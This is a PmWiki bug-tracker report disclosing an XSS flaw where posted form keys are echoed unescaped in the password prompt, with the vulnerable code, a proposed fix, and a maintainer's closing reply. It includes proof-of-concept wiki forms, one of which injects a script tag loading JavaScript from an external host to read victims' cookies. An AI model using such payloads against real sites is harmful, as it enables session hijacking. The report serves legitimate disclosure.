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01108: Unescaped posted keys in PmWikiAuth

Description:

  $postvars = '';
  foreach($_POST as $k=>$v) {
    if ($k == 'authpw' || $k == 'authid') continue;
    $v = str_replace('$', '$', 
             htmlspecialchars(stripmagic($v), ENT_COMPAT));
    $postvars .= "<input type='hidden' name='$k' value=\"$v\" />\n";
  }
  $FmtV['$PostVars'] = $postvars;

function MakePostVars($array,$out='',$tree=array()) {
 foreach($array as $key => $var) {
  if(!count($tree) and ($key == 'authpw' or $key == 'authid'))
   continue;
  $key = str_replace('$','$',
	htmlspecialchars(stripmagic($key),ENT_QUOTES));
  if(is_array($var)) {
   array_push($tree,$key);
   $out .= MakePostVars($var,$out,$tree);
   array_pop($tree);
  }
  else {
   $out .= '<input type="hidden" name="';
   if(count($tree)) {
    $out .= reset($tree);
    while($val = next($tree))
     $out .= "[$val]";
    $out .= "[$key]";
   }
   else
    $out .= $key;
   $out .= '" value="'.str_replace('$','&#036;',
	htmlspecialchars(stripmagic($var),ENT_QUOTES)).'" />';
  }
 }
 return $out;
}

My English is very bad, so I use Babelfish to translate one. As a reference, I append the original German text at the end of the report with it. (I hope someone here can read and understand ...)

Well, I made to the original code with a custom function to replace. When debugging, I went to an XSS vulnerability in the original code encountered:

Two variables "$k" and "$v" are in a loop with the contents of $_POST set: $v is devalued almost correctly, but on the other hand, $k not.

You can with small restrictions ("." and "Space" will be caught, but by "%2e" and "tabs" to be replaced) in $k XSS code to push the password in the query is executed. (See Example 2 and Example 3)

These two bugs have been PmWiki 2.0.beta19 up to the latest version 2.2.2 available.

• The multiple-select bug can be circumvented if you have previously logged.
• The XSS bug may, if necessary with "magic_quotes_gpc" circumvented, or if you made $PostVars $AuthPromptFmt away.

I hope that I noted everything in this report and was able to express myself in spite of my language difficulties clearly and intelligibly.

• For all the examples is "SiteAdmin.Status&action=edit" represents a password-protected page.
• All examples work with pmwiki-2.2.2 (Tested without config.php and PHP 5.2, globals=off, magic_quotes_gpc=off)

Example 1: Multiple-Select as Array (Does not work on pmwiki.org - $PostVars not set in $AuthPromptFmt)

(:input form method=post action={$ScriptUrl}?n=SiteAdmin.Status&action=edit:)
(:input select name=select[colors][] value=ff0000 red size=3 multiple:)
(:input select name=select[colors][] value=00ff00 green size=3 multiple:)
(:input select name=select[colors][] value=0000ff blue size=3 multiple:)
(:input submit name=send value=ok:)
(:input end:)

Example 2: XSS-Test

(:input form method=post action={$ScriptUrl}/index.php?n=SiteAdmin.Status&action=edit:)
(:input submit name="'><script>alert('XSS')</script>" value="XSS name alert only":)
(:input end:)

Example 3: XSS-Attack (View Cookies only and does not work with Firefox, tested and works with: Chrome, IE, Opera, Safari)

(:input form method=post action={$ScriptUrl}/index.php?n=SiteAdmin.Status&action=edit:)
(:input submit name="foo'	value='bar'	/><script	type=\
'text/javascript'	src='http://mengelke%2emine%2enu/xss%2ejs'></script>\
<input	type='hidden'	name='hack" value="XSS alert attack":)
(:input end:)

All examples can be tested also on my server: http://mengelke.mine.nu/pmwiki/pmwiki.php?n=Main.WikiSandbox

<German>

</German>

Thanks for your report, the posted keys will be escaped in the next release. I have split this entry, moving the Posted Multiple Select Options to 01110. I am closing this entry. Thanks! --Petko July 10, 2009, at 05:09 AM